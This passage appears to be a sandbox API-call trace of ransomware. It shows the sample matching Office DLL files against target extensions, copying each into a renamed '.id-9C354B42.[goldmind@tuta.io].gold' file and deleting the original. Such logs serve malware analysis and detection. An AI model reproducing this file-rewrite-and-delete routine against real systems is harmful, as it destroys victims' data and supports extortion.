(lpString=".zip") returned 4 [0050.714] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".rar") returned 4 [0050.714] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.714] lstrlenW (lpString=".bz2") returned 4 [0050.714] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.714] lstrlenW (lpString=".7z") returned 3 [0050.715] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.715] lstrlenW (lpString=".dbf") returned 4 [0050.715] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.715] lstrlenW (lpString=".1cd") returned 4 [0050.715] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0050.715] lstrlenW (lpString=".jpg") returned 4 [0050.715] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.715] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0050.715] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0050.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0050.715] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=1388416) returned 1 [0050.715] CloseHandle (hObject=0x188) returned 1 [0050.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0050.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0050.716] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.716] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0050.716] GetLastError () returned 0x0 [0050.716] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.753] WriteFile (in: hFile=0x21c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0050.976] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x52f90, lpOverlapped=0x0) returned 1 [0050.986] WriteFile (in: hFile=0x21c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x52fa0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x52fa0, lpOverlapped=0x0) returned 1 [0050.993] ReadFile (in: hFile=0x188, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.993] WriteFile (in: hFile=0x21c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0050.993] SetEndOfFile (hFile=0x21c) returned 1 [0050.994] CloseHandle (hObject=0x21c) returned 1 [0050.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.994] SetEndOfFile (hFile=0x188) returned 1 [0050.996] CloseHandle (hObject=0x188) returned 1 [0050.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.997] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 1 [0050.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.997] lstrlenW (lpString=".doc") returned 4 [0050.997] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0050.997] lstrlenW (lpString=".docx") returned 5 [0050.997] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0050.997] lstrlenW (lpString=".pdf") returned 4 [0050.997] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0050.997] lstrlenW (lpString=".xls") returned 4 [0050.997] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0050.997] lstrlenW (lpString=".xlsx") returned 5 [0050.997] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0050.997] lstrlenW (lpString=".ppt") returned 4 [0050.997] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0050.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.997] lstrlenW (lpString=".zip") returned 4 [0050.997] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0050.997] lstrlenW (lpString=".rar") returned 4 [0050.997] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0050.997] lstrlenW (lpString=".bz2") returned 4 [0050.997] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0050.997] lstrlenW (lpString=".7z") returned 3 [0050.997] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.997] lstrlenW (lpString=".dbf") returned 4 [0050.997] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0050.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.997] lstrlenW (lpString=".1cd") returned 4 [0050.997] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0050.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.997] lstrlenW (lpString=".jpg") returned 4 [0050.997] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.998] lstrlenW (lpString=".doc") returned 4 [0050.998] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString=".docx") returned 5 [0050.998] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0050.998] lstrlenW (lpString=".pdf") returned 4 [0050.998] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString=".xls") returned 4 [0050.998] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString=".xlsx") returned 5 [0050.998] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0050.998] lstrlenW (lpString=".ppt") returned 4 [0050.998] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.998] lstrlenW (lpString=".zip") returned 4 [0050.998] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString=".rar") returned 4 [0050.998] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString=".bz2") returned 4 [0050.998] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString=".7z") returned 3 [0050.998] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.998] lstrlenW (lpString=".dbf") returned 4 [0050.998] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.998] lstrlenW (lpString=".1cd") returned 4 [0050.998] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0050.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0050.998] lstrlenW (lpString=".jpg") returned 4 [0050.998] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0050.998] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0050.998] lstrlenW (lpString="ACEERR.DLL") returned 10 [0050.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.130] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=43408) returned 1 [0052.130] CloseHandle (hObject=0x21c) returned 1 [0052.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0052.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.131] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.131] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.131] GetLastError () returned 0x0 [0052.131] ReadFile (in: hFile=0x21c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0xa990, lpOverlapped=0x0) returned 1 [0052.191] WriteFile (in: hFile=0x190, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xa9a0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xa9a0, lpOverlapped=0x0) returned 1 [0052.192] ReadFile (in: hFile=0x21c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.192] WriteFile (in: hFile=0x190, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0052.192] SetEndOfFile (hFile=0x190) returned 1 [0052.192] CloseHandle (hObject=0x190) returned 1 [0052.192] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.192] SetEndOfFile (hFile=0x21c) returned 1 [0052.193] CloseHandle (hObject=0x21c) returned 1 [0052.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.194] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 1 [0052.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.194] lstrlenW (lpString=".doc") returned 4 [0052.194] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.194] lstrlenW (lpString=".docx") returned 5 [0052.194] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.194] lstrlenW (lpString=".pdf") returned 4 [0052.194] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.194] lstrlenW (lpString=".xls") returned 4 [0052.194] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.194] lstrlenW (lpString=".xlsx") returned 5 [0052.194] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.194] lstrlenW (lpString=".ppt") returned 4 [0052.194] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.194] lstrlenW (lpString=".zip") returned 4 [0052.194] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.194] lstrlenW (lpString=".rar") returned 4 [0052.194] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.194] lstrlenW (lpString=".bz2") returned 4 [0052.194] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.194] lstrlenW (lpString=".7z") returned 3 [0052.194] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.194] lstrlenW (lpString=".dbf") returned 4 [0052.194] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.194] lstrlenW (lpString=".1cd") returned 4 [0052.194] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.194] lstrlenW (lpString=".jpg") returned 4 [0052.195] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.195] lstrlenW (lpString=".doc") returned 4 [0052.195] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.195] lstrlenW (lpString=".docx") returned 5 [0052.195] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0052.195] lstrlenW (lpString=".pdf") returned 4 [0052.195] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.195] lstrlenW (lpString=".xls") returned 4 [0052.195] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.195] lstrlenW (lpString=".xlsx") returned 5 [0052.195] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0052.195] lstrlenW (lpString=".ppt") returned 4 [0052.195] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.195] lstrlenW (lpString=".zip") returned 4 [0052.195] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.195] lstrlenW (lpString=".rar") returned 4 [0052.195] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.195] lstrlenW (lpString=".bz2") returned 4 [0052.195] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.195] lstrlenW (lpString=".7z") returned 3 [0052.195] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.195] lstrlenW (lpString=".dbf") returned 4 [0052.195] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.195] lstrlenW (lpString=".1cd") returned 4 [0052.195] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0052.195] lstrlenW (lpString=".jpg") returned 4 [0052.195] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.195] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.195] lstrlenW (lpString="ACEODBC.DLL") returned 11 [0052.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.196] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b6ff1c | out: lpFileSize=0x2b6ff1c*=342960) returned 1 [0052.196] CloseHandle (hObject=0x21c) returned 1 [0052.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 0x20 [0052.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.196] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.196] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.197] GetLastError () returned 0x0 [0052.197] ReadFile (in: hFile=0x21c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x53bb0, lpOverlapped=0x0) returned 1 [0052.210] WriteFile (in: hFile=0x190, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x53bc0, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0x53bc0, lpOverlapped=0x0) returned 1 [0052.215] ReadFile (in: hFile=0x21c, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b6fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.215] WriteFile (in: hFile=0x190, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.215] SetEndOfFile (hFile=0x190) returned 1 [0052.216] CloseHandle (hObject=0x190) returned 1 [0052.216] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b6fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.216] SetEndOfFile (hFile=0x21c) returned 1 [0052.218] CloseHandle (hObject=0x21c) returned 1 [0052.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.219] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.219] lstrlenW (lpString=".doc") returned 4 [0052.219] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".docx") returned 5 [0052.219] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0052.219] lstrlenW (lpString=".pdf") returned 4 [0052.219] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".xls") returned 4 [0052.219] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".xlsx") returned 5 [0052.219] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0052.219] lstrlenW (lpString=".ppt") returned 4 [0052.219] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.219] lstrlenW (lpString=".zip") returned 4 [0052.219] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".rar") returned 4 [0052.219] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.219] lstrlenW (lpString=".bz2") returned 4 [0052.219] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.219] lstrlenW (lpString=".7z") returned 3 [0052.219] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.219] lstrlenW (lpString=".dbf") returned 4 [0052.219] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.219] lstrlenW (lpString=".1cd") returned 4 [0052.219] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.219] lstrlenW (lpString=".jpg") returned 4 [0052.220] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0052.220] lstrlenW (lpString=".doc") returned 4 [0052.220] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString=".docx") returned 5 [0052.220] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0052.220] lstrlenW (lpString=".pdf") returned 4 [0052.220] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString=".xls") returned 4 [0052.220] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.220] lstrlenW (lpString=".xlsx") returned 5 [0052.220] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0052.220] lstrlenW (lpString=".ppt") 